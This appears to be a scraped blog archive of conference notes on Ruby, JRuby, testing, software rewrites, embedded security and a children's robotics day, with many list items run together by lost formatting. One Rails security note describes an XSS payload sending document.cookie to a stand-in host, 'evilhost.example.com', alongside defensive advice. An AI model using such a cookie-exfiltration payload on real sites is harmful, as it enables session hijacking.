For this year's Bring Your Child To Work Day, Brett Nelson
(http://home.teleport.com/~brettn/babuinobot) returned with his army
of programmable Aruino-like robots for students to send zooming around
the room.
Comments [0]
This post contains beer-fogged notes from the second and final day of one of the most awesome-est technical conferences ever.
Easy to write the event
`Event belongs_to :repository`
Hard to read the feed
`Event.joins(:memberships).where(memberships.user_id => user_id)`
to_hash that can be given a request_level parameter to
specify which fields come back with the request, how they’re nested, etc.find_hash and find_all_hash methods, which construct
intelligent SQL queriesGET /things, /things/:id, /thing/:id/relation, ?limit,
?offset, ?count_only, POST, DELETE, etc.Generate jasmine.yml, where you specify source files to be tested + auxiliary stylesheets
gem install jasmine rails g jasmine
Run in your browser (fast)
rake jasmine, then visit localhost:8888
Run at the command line (slow)
rake jasmine:ci runs the specs on the command line using Selenium
RSpec-like
describe("Cook", function() {
// ...
});
it("should be tasty"), function() {
var pie = new Pie();
expect(pie.tasty).toBeTruthy();
});Just truthy matching built in, so blank strings and zeroes are false
Can add own matchers:
beforeEach(function() {
this.addMatchers({
toBeFoo: function() {
return this.actual.thing == "Thing";
}
})
});For before/after: screate the object outside the test scope, then clean it up in an afterEach handler
Can stub methods with:
spyOn(obj, 'method').andReturn(retVal); expect(obj.method).toHaveBeenCalled();
Can spy on a method, but still allow the call to happen with
andCallThrough();, like the rr gem supports
EM::Connection on every new connectionEM::Deferrable wraps the common slow resource callback patternComments [0]
“The conference for classy Rubyists”
Ruby on Ales is a two-day beer-fueled info-fest taking place in Bend, Oregon. As is my custom, I am posting my half-baked notes and reactions as they occur.
This, ladies and gentlemen, is Day One.
attr_accessible (recommended over attr_protected)http://evilhost.example.com/ + document.cookie. He now
has your sessions<script>, <table
background="javascript:...">, etc.sanitize function, or use
Textile/MarkdownWidget.find(params[:widget_id]) allows anyone to guess the right URLcurrent_user.widgets.find(params[:widget_id]) correctly limits access
to the current userStrict-Transport-Security header instructs browsers to switch
to HTTPSRack::SSL does both"foo" is-a String is-a NSMutableString is-a NSString is-a
NSObject"foo".methods(true, true) gives you both String instance methods
and
NSMutableString ObjC methodsconst_missing?)for loop + ssh + rake”mc-find-hosts, mc-pingFile class, but also Process, Etcdevise/orm/active_record)foo.c, don’t trust that youre dependencies are
metErrors happen when a method is unable to fulfill its contract
Weirich likes fail over raise unless reraising
raise for fun and profit (e.g., terminate, jump to
console alla “hammertime” gem, or explicitly forbid double-raise)raise calls #exception to init the exception, sets
backtrace and $! “global” (actually thread-local), and transfers controlexception() method, like to_s=== (“threequals”) to match exception typesaweome@... e-mail address, http://awesome... site, book clubs, contestsPOST to
/peopleComments [0]
--java
flagThe problem
@JRubyMethod annotation (possibly w/“module=true” parameter)In the real world, the term “engineering” is restricted to things that work. Why the terminology mismatch? Misunderstanding of two terms: “software” and “engineering.” SE is a caricature of engineering, built by people who didn’t understand either.
First mention of the term was at a NATO conference in 1968. Original proceedings said testing should be “interlaced” with the design. Also said we should start with mocks / models, then nudge them toward reality from iteration to iteration. A year later, “everything went wrong.” Royce’s warning against the “doomed” waterfall somehow got read as an endorsement.
So, software engineering has been biased towards the “defined process control model,” in which the scope of every step is known, and the result of the process is predictable / repeatable. cf. Parnas’s “A Rational Design Process.” BDUF approaches were geared toward fixing errors early, when the cost is cheaper; trouble is, that didn’t work.
Software engineers have model / math envy. cf. Z notation, Parnas’s mathemtatical expressions notation, UML—most of these are (fortunately) dead. Trouble is, these don’t look any easier to read/write than code.
Critics of software engineering say you can’t just “put something in one end and turn the crank” (Eckel). But that’s not what engineers do!
“Emprical process control model,” where frequent inspection / adaption react to unpredictability, is a much better fit for software development.
Classically, software engineers say things like “Cost shouldn’t be an object when the goal is to do everything right.” But cost is always an issue! Any idiot can build bridge over a ravine; just fill it entirely with rocks. Engineering is the art of optimizing a design within constraints, one of which is cost.
Glenn says that engineering advances come from practitioners. (Not sure I’m on board with that one, if he means “only.”)
cf. Maillard’s bridge designs, which were built after experimentation with prototypes, not extensive mathematical models. Mathematical models were introduced to engineering as cost-savings tools, not as proof that a design works!
Old, bad analogy: engineers –> blueprints –> laborers –> final artifact :: engineers –> diagrams –> code monkeys –> final source. Correct naalogy should be engineers –> source code –> compilers –> final artifact. The third step (construction) is structural engineering’s most expensive part, and software’s cheapest part. So the right, rational bias for software should be for an empirical process.
What does an empirical process for software look like? Feedback / iteration time / risk are related. Evaluate / iterate requirements with the customer every few months (high risk); evaluate individual code statements in seconds (small scope).
Intersection of testing and language geekery: using JRuby to test Java.
Why do we test? Check our thinking. Find defects. Prevent regressions. Drive design. Provide usage examples. Facilitate change (refactoring). JRuby’s early interperters, compilers, and representations were heavily refactored; the comprehensive suite made this possible.
Dummies are passed but not used. Fakes are working implementations w/shortcuts (). Stubs give canned answers. Spies record calls. Mocks verify that the methods are called correctly.
Lots of Ruby mock libraries. Most work the same on JRuby, and (with some caveats) can test Java code. Java testing and mocking libraries can test some Ruby code and can plug into environments / IDEs, but miss a lot of Ruby-specific behavior. Best option for testing Java code is to use Rake + Ruby tools + Ruby doubles.
Mocking limitations: setting expectations in Ruby that Java code is supposed to fulfill. RSpec mocks can mock methods on Java interfaces, but not on Java classes. This is because JRuby uses Ruby proxies for Java objects (which the Java universe has no knowledge of). JtestR (with Mocha) works around this by rewriting JVM bytecode on specific object instances.
“Mocks suck.” Y2K was the year the world was introduced to mock objects. cf. “Endo-Testing” paper in 2000. Don’t confuse with MockObjects™ testing style, which seeks to avoid using getters (uses things like the Visitor pattern instead). RSpec muddies the waters by treating mocks, stubs, and doubles as meaning the same thing.
Presenter feels that behavior verification and “mockist” style TDD suck. Do
you really care that your object called the find_by_title method of the
Book class? Are you really checking anything at all? This style couples
tests / implementations too tightly, inhibits refactoring, and might not
actually be testing enough.
Presenter doesn’t like fluent-style APIs. Says they add noise, and are hard
to revisit later. (I find the opposite, but anyway….) Also doesn’t like
the “assert first, then run code under test” ordering. (This I agree with.)
(slide: S-S-A; ass backward—get it?) cf. Marick’s during / behold!
notation.
But the outside-in BDD-style design aesthetic has advantanges. No-getter style is all well and good if you’re coding from scratch, but is little help if you’re using a framework. MVC uses getters.
“Don’t mock types you can’t change;” e.g., 3rd-party code. But then you end up writing an extra wrapper layer, and mocking that. “Don’t mock (immutable) value( object)s.” “Allow queries / expect commands;” meaning: stub queries / mock commands. “Specify precisely what should happen and no more.”
Alternatives? Use the real object (fixtures?). Favor stubs or spies over mocks. Use libraries that don’t impose reverse order (mockito, Not A Mock, rr, or even by interrogating RSpec mocks after the fact).
How many people are doing unit / acceptance / TDD? Most of the room. “We are living in a microcosm of testing,… and we think that everybody’s doing it.” Outside this venue, testing is still the exception and not the norm. How many of us are happy with our tests? Not so many. What don’t we like? Mocks. Overspecified. Brittle. Slow. Overlapped.
Jeff Nielsen says developers lose patience if unit tests > 10s or check-in tests > 10m. Any longer than 10m, and the dev leaves for the day before they finish (and fail).
Mocks are for external services or protocols; nothing else. Test smells: mocks returning mocks; false positives / negatives (because you have to change both the mock and the code under test).
Factories can create one in-memory object, but all of its associations live
in the database—still slow. (He didn’t try an in-memory SQLite3 database,
though.) FactoryGirl.attributes_for (in-memory hashes of attributes)
work, and are faster than mocks! Just creating objects in memory, though,
was the fastest by far. Instead of testing for !save, test for !valid.
Custom assertions make tests legible. (Yup, that’s why we use RSpec.) In tests, clarity is more important than DRYness.
Don’t test private methods. Move the behavior into a separate class, and test that.
Use describe for objects / methods, context for modifiers / setups.
Don’t worry; context was not deprecated when they added describe to the
language.
Refactor your tests! Use RSpec’s let construct, which makes a lazy
initializer and only runs the code once (he didn’t say whether it’s once per
context or once per test).
Could you write the code using only the specs as a guide?
“Ruby is the glue that doesn’t set.”—Dave Thomas. This hit home with Nick, who likes to do collage work.
JRuby is its own enterprise integration toolkit. You don’t need enterprise beans and all that stuff.
JRuby 1.5.3 is out. JRuby 1.6 will have 1.9.2, cexts, dynopt, java, performance.
Rails 3 is fully JRuby-compatible (“designed to work” with JRuby). JRuby team has been running its own CI server with the Rails test suite. By Rails 3.1, they might not even need the “-m http://jruby.org” flag to “rails new”.
A new version of activerecord-jdbc-adapter is coming; it will support the three big Rails databases (MySQL, SQLite3, Postgres), plus a bunch of others (Oracle, SQL Server, DB2, Derby, etc.).
Why JRuby with Rails? Faster than Ruby. After enough requests, HotSpot exceeds 1.9.2 speed on some benchmarks.
Picture: “Here’s a guy getting a stare-down from a llama.”
Some faster libraries, too. jruby-memcache-client is much faster than the regular Ruby memcache-client. Some gem name clashes; e.g., JSON. The team is looking for a way to pick up the right gem for your platform seamlessly.
There are some unique libraries / combos as well:
Other tools:
.war (Warbler). Code
obfuscation through compilingOn rewrites…. “People still think that’s a good idea” cf. Chad’s “The Big Rewrite” How to know when it’s time? Bob Martin says green fields “lead to horrible messes.” That field looks green from a distance, but what do campers tend to leave behind in green fields?
Don’t use velocity as a reason to sell a rewrite; velocity is an artificial metric for planning, not a real thing.
On a rewrite, the existing system is the spec!
Rich says a rewrite is always an invention, not an implementation (in terms of Zed Shaw’s C2I2 theory). (I dunno about that, I feel I’ve seen rewrites that were just plain implementations.)
It’s important to manage expectations: there may be downtime, the customer may have to run the old system alongside the new for a little while, etc.
“The old days of having a single technology stack are gone.”
Risk: start a rewrite, get pulled back into maintenance of the old system, see the new system get written by consultants who don’t know the domain.
Risk: management determining technology. “I installed Rails on my computer and made a weblog, so we’re going to replace our existing infrastructure with Rails.” “The vendor took me out, we partied, and now we’re going to use his tech.” “The vendor took me to a Scotch tasting….”
Horror story: Certified Scrum Master letting an entire meeting of “I didn’t have time to do anything this week, either” slide: “Okay, great call. Talk to you guys next week!”
Good system boundaries and interfaces can help.
Chad and Rich say you’re going to have to clean up and maintain the old system. (Maintain, maybe, but why clean up?) cf. the Mikado method of cleanup.
Take the emotion out of the process; change one thing at a time (using technologies like Edge Server Includes); measure.
You have to have a reason to do a rewrite (i.e., not just new tech).
Chad and Rich say “code is cheap; knowledge is value.” (I think knowledge should be expressed as code.)
cf. Brooks’s “Build one to throw away.”
Rich: never call it a rewrite. Just call it a refactoring or someting. (“I’m just going to refactor this app by, um, throwing all of it away and starting over.”) Keeps the business people from freaking out about it. And don’t tell them afterward!
violating geek ethics) ##
We like JRuby. Why would somebody pay you to do something you like? We get paid to solve problems for somebody else.
Frederick Winslow Taylor (scientific management guy) “screwed your life for the next 80 years.” Directed vs. undirected labor. “Knowing exactly what you want men to do and then see in that they do it in the best and cheapest way.” Unqualified people don’t tell your dentist how to do his job; why do they do this to software people?
Randall proposes taking the same metaprogramming techniques and patterns we use and applying them to our interactions with people. Software people find it hard to explain what they do to nontechnical people.
Discussion of economic models of human behavior (including caveats about human rationality in the real world): utility function, prospect function, risk aversion, loss aversion….
Loss aversion: if you say the project can’t be done in time for the ship, your manager may say, “We’ll just bring in more people / offshore this / use these guys in Russia.” Like doubling down on a bad hand in poker. Or saying, “We committed to Thursday; I don’t care if you have to stay up all night and write twice as many bugs into the code.”
Equality bias: people will turn down free money for everyone in the group of they think someone else in the group will get more money.
Other biases: attribution bias, diagnosis bias, decoy effect. If you want them to use Ruby, juxtapose the Ruby alongside something much uglier.
“First, do nothing stupid.”
Randall’s Maxim of the EndUser:
Anosognosia: unawareness of one’s own disability. cf. Dunning/Kruger effect. “I don’t know about you, but I’ve worked for that guy.” You can’t be trained out of the Dunning/Kruger effect.
When dealing with nontechnical people, focus on economics. Use a common (not Lisp) language.
“Your life resembles a car crash.” Ironman triathlon. “I took that challenge on like it was the fight of my life. Which, of course, it was.” How athletes prepare for and work towards their goals, and how we might apply that toward our own goals.
Decide what you want. Relationships may suffer, even with those who support your goals.
Who can support you? Friends. Family. People who have already done the thing you want to do.
Multiple levels of goals. For example…. Base goal: finish Ironman in one piece. Higher-level goal: finish within x time frame.
Do the work. Specific practice: some practice sessions focus on speed, some on endurance, some on strength, etc.
How to deal with the risks of (say) cycling? Go back to the “who can support you?” question. She found a cycling coach to ride along on the descents, shouting “Do not brake!”
Asses what you can control. Practice that control. Accept what you cannot control, and don’t waste time and energy fighting it.
Story: a leading biker breaks a chain. This is not under her control. She has to wait for the race mechanic. She takes care of the things she can control: she gets into the shade, eats, drinks, talks to the locals. Reassesses her goals when she’s back on the bike 45 minutes later. Old goal: win. New goal: finish strong. Going into the run, hears that her competitors are wilting. New goal: finish in the top 5. Wins race.
Recover. In sport, the recovery period is when you actually get stronger. In business, recovery / vacation is looked down upon. In sport, it’s vital.
Reflect. Figure out how to eradicate negative experiences, repeat positive ones. Get to know yourself—what you’re capable of, physically and mentally.
What do you get back from all this? Cake.
“I’ll start with an obstacle, because I’m from Glasgow and that’s just what we’re like.”
Good conversation with audience member about negotiating training time w/friends & family who might otherwise feel neglected.
Sales shouldn’t be about convincing someone to do something they don’t want to do, but about finding a solution that works for them.
Andy Hunt refers to the brain as a dual-core computer with a shared bus.
Stereotypes: they’re not just for racists. They’re a set of beliefs you’ve abstracted from people. cf. RubyConf Orlando, which shared the conference center with a tanning convention. We keep telling ourselves we’re surrounded by less intelligent people. But it’s not necessarily that we’re smarter—it’s that our processors are running at a fast clock speed.
Joe asks: as geeks, what do we think about Southerners / right-wingers / Christians? (My reaction: many geeks are Southerners, fiscal conservatives, and Christians. Several minutes later, he used the word “religious” meaning “strict about Agile.” Interesting choice, given the comments on religious stereotypes earlier.)
Velocity goes to zero for iteration 3. Why is that? The Hawthorne effect peters out. (I just checked the JRuby charts in Pivotal Tracker. We literally did go to zero velocity in the third week we started tracking.)
Dreyfus model: everyone goes through the same stages as they learn things. A novice wants zero context and all rules. They desperately need a win—something to feel better. Little concern for learning. High concern for when things go wrong. They need recipes. Think call centers w/decision trees.
The GoF book was written for people further up the Dreyfus Model. But begineers read it and apply it as a set of recipes.
Discussion a while back on the GoF book:
The majority of experts make terrible teachers for novices. Send the new guy into the wizard’s office, and he’ll come out crying.
Rules ruin experts, even if the experts were the ones who wrote them. cf. Dreyfus model experiment w/aviators.
When you’re learning a new skill/language, it’s important to allow yourself to be ignorant.
After the USSR’s collapse, new nations suddenly had borders to control and economies to worry about. They had infrastructure for building military stuff. It was in everyone’s interest to help these republics control their borders. Of particular interest were dual-use materials, which have both peacetime and wartime uses (e.g., golf clubs and nuclear reactors; beer brewing and biological warfare).
expectmore.gov is helping countries (esp. Baltics) dispose of nuclear material. How can these countries collaborate if they don’t trust one another? cf. the Stone Soup parable. We can’t get these people to sign a treaty, but we can all collaborate on some software together.
Import/export control/licensing system: cross-platform, i18n, little infrastructure required. 1997: Java! “We are going to give you software and computers; you tell us what the software needs to do.” 1998: Swing app. Helped Poland join NATO. 1999: it had evolved into useful software (Tracker: http://trackernet.org). JBoss server, session beans. Technology-wise, the software was complete / mature in 2006.
Original users wanted modernization effort: rich web app. Needed to lean on legacy Java code. Original team had moved on. Enter JRuby. Wanted to use Rails.
ActiveRecord facade for the Java business-logic code. Live editing of i18n
text labels (Shift-Option-click, or something like that). Java’s property
files + message API made that easy. e.g., imagine translating "#{n}
files" as “no files,” “one file,” “a pair of files,” or “123 files,”
depending on the number.
flying_saucer can create PDFs from HTML. CSS and image URLs need to be absolute, near as I can tell. Might be a good candidate for producing PDFs from Showoff (assuming we can solve the Markdown problem).
RSpec mocks support Not a Mock / rr / Mockito-style after-the-fact assertions, which leads to simpler tests.
The conversation about the role of mathematical models is one that should continue. I want to say, “Yeah, empiricism!” And I want to consign the Pricy-Tool-Driven-Development methodologies to the dustbin where they belong. But I don’t want to do so in a way that rules out Dijkstra-style algorithm proofs or transformation (from safe code to C, or recursive to imperative) proofs.
Is it possible / easy / a good idea to port Reg Braithwaite’s andand library to a Mirah macro?
The i18n / l10n stuff used by the Tracker 7 folks was brilliant. Is that something that was already there in the Java APIs? How can I haz it?
Jim Weirich’s challenge: could you write the software from just the specs?
Comments [0]
Okay, so this wasn't a Whyday project by design, meaning that it didn't have celebrity worship written into it from the start. But it definitely had to do with teaching programming to newcomers, one of the many activities encouraged on the Whyday site.
So what was it?
At my day job, we throw a pretty decent Take Your Kids to Work Day when we remember to. Not content with making Little Bartholomew or whoever sit through endless TPS report summaries, we teach 'em how to play Ultimate Frisbee, what's inside a computer, and whatever else we can scrounge up co-workers to show off.
When the call went out for ideas, I remembered this motivating robotics presentation given by Jim Larson and Brett Nelson at Open Source Bridge. Perfect!
Brett and I sat down and swapped ideas, and we figured we could teach three classes of sixteen kids how to program robots. The robots were an armful of Babuinobots that Brett designed and built. The software was Blocos, a puzzle-piece-like programming language that generates Cricket Logo behind the scenes for execution on the robot.
When the spark of enthusiasm met the powder keg of instant gratification, we ended up with a kaboom of ideas. The kids were rapidly outpacing the simple tasks we had set before them, and were choreographing their own robot dances, designing obstacle avoidance routines, and most of all, having a blast.
Comments [0]
Andre Weimerskirch
Feature activation: generate income after original sale. May be pay per use, trialware, or pay once. Customers want more “horsepower” in their devices. They will look for codes on Google.
Cryptographically speaking, there are two ways of implementing feature activation keys: symmetric and asymmetric ciphers. Symmetric uses one shared secret. Asymmetric uses public/private keys.
Key is often a function of equipment ID (type / serial number), customer ID, timestamp, etc.
Manual activation codes typically use alphanumeric codes, which are roughly 5 bits per letter. So a 32-character code is about 192 bits of information. Consumers will tolerate about 10 characters, which is only about 50 bits of information.
HMAC = Hash-based Message Authentication Code. Like a digital signature, but symmetric. Every party needs to share a key (distributed over a secure channel), which is inconvenient. But the protocol is more efficient.
Attacks: try all possible keys, JTAG, backdoors. So: temporarily (~ 10 min) lock the device after several failed attempts, lock JTAG, avoid backdoors.
If an attacker gets a key, he can generate new activation codes. To make sure that only one device can be compromised at once, don’t use global keys. Use one key per device.
Need some communication channel between server and device. Only have to distribute public keys. Certificates enable a network of trust for keys. Only as trustworthy as the issuing authority. Manufacturer gets a certificate from an authority, then provides an activation infrastructure.
Codes can’t be entered manually. Calculations are expensive. Don’t need to read-protect key; just write-protect it.
Device generates a return code. Server verifies return code and generates new activation code. How to do returns / transfers without accessing the central server? Dangerous. Always keep the server in the loop.
Verifies digital signature on the firmware image. Requires a public-key infrastructure, so you can verify that the firmware came from the source it says it was, and is unaltered. With this, the customer can “prove” a software bug isn’t his fault (because he can demonstrate he hasn’t changed the firmware). You can also use a different key pair for newer models, so that customers can’t accidentally install an incompatible software version.
Use symmetric keys for their simplicity and efficiency. Feature activation requires platform integrity. TCPI can detect a compromise after the fact.
Base your strategy on likelihood and impact of compromises.
Comments [0]
Michael Barr
A few bug-killing rules can go a long way (e.g., “if (0 == x)”). Standards are mainly for quality; but they can also help with style, portability, readability, and security. Make your embedded firmware better (43% of pacemaker recalls were firmware-related)!
Many shops have standards, but have team members who fail to follow them (at this point, one audience member pointed at his neighbor). This can be a sign that the standards are arbitrary, fussy stuff about braces when they should be about bug killing.
Maintenance bugs come from broken assumptions. Adopt a “zero bugs… period” principle in your architecture, process, and code. Treat all software as “work for hire” and “someone else’s property” (I think he means collective code ownership; terms like “property” are icky in software discussions).
Choose rules that you can enforce, preferably automatically (specific modules might need exceptions). Presenter’s a big fan of MISRA.
C specifications have different kinds of undefined behavior:
A few sample rules:
Comments [0]
Gwyn Fisher
Around 50% of respondents are doing some kind of iterative development, either overtly agile or at least informally iterative. Agile projects have penetrated even large organizations like banks, defense contractors (“missiles have an operational lifecycle of 30 seconds; a memory leak isn’t important”), etc.
“Snobbery is alive and well in the development process;” e.g., “If your timebox is more than four weeks, you’re sniff not doing agile.”
In agile, “pay yourself first” stops working if you can’t get to the end of an iteration with working software. So be extremely wary of carrying bugs from iteration to iteration. Presenter likes to use a physical board with note cards—red for bugs. “Bug debt kills projects”
Agile is about “people, not processes,” right? So it’s no surprise that agile tools are mainly about people and teams (except Continuous Integration).
The fancy code tools are all for “nonsense” (i.e., scripting) languages or big languages (C++, Java). Straight C, not so much.
Source code analysis can help catch:
Static analysis is an “unsound” analysis; i.e., not provably complete. The sound analysis tools are academic and take all night to run; not a good use of your time.
After doing source analysis, you’ll immediately fix all the “facepalm” dumb stuff. Then the tool will give pointers on where to look for the hard concurrency stuff.
“If we suspend our disbelief just for a moment” and assume people actually use Visual Studio (or that Vim gets a GUI), then he can show us a screenshot of Visual Studio doing IntelliSense-style bug annotations.
How do C programmers refactor? “With prayers.” Or by typing and getting it wrong a lot.
“Refuctoring” = taking a well-designed piece of code and, through a series of small, reversible changes, making it completely unmaintainable.
Code reviews are boring or humilating, depending on which chair you’re sitting in. Some organizations do it backwards: they review the high-paid architects, but not the intern down the hall. Instead, treat it like a social network (“Everyone with an ironic beard” uses Twitter), in that you use it how you want to, asynchronously, all the time. “Don’t require the architect; appreciate their presence.”) Code review will cost you time, but it will save you more time.
Presenter gave an example of a hypothetical 10-person team doing 1-hour reviews saving 40 hours per iteration. But… “you cannot run a communication-based process with just tools.”
Comments [0]
Gregg Lebovitz
Startd with the usual “what is Qt?” intro, plus a note that Qt comes in an LGPL flavor now (not just GPL or commercial). Qt isn’t just for GUIs; it’s got libraries for databases, networking, i18n, and so on. It is capable of per-thread message loops and cross-thread message posting. QtEmbedded is like Qt, but uses framebuf instead of X11.
Here’s the presenter’s quick “hello world” example:
QtApplication app(argc, argv);
QLabel* label = new QLabel("Hello world!");
label->show();
app.exec();The basic unit of the GUI is the QtWidget. Each widget has a parent, which will automatically show/hide/delete its own children automatically when needed. A widget with no parent becomes a top-level window. QtObject-derived objects (including widgets) must be heap-allocated.
Layout managers (e.g., VBox and HBox) live in their own hierarchy separate from the controls. Adding a widget to a layout automatically re-parents it to the widget owned by that layout.
Qt uses a “makefile-maker” called qmake (like autoconf or CMake) that turns “.pro” (project) files into makefiles.
Class demo on BeagleBoard; not enough supplies. >:–(
Adrian Valenzuela
This session covered the Chronos hackable watch. Did I say “watch?” I meant “development platform.” (FCC rules forbid calling it a watch.) Time didn’t really permit a full tutorial, but we did get a chance to take the things apart and learn about the development environment.
The gizmo has RF transmit and receive capabilities, which led the instructors to joke about “this radiation-safe room we’re in,” as a nod to the dead WiFi / cell zone this classroom seemed to have.
No point in repeating all the Chronos background material here; it’s all available on the wiki.
Comments [0]
Comments [1]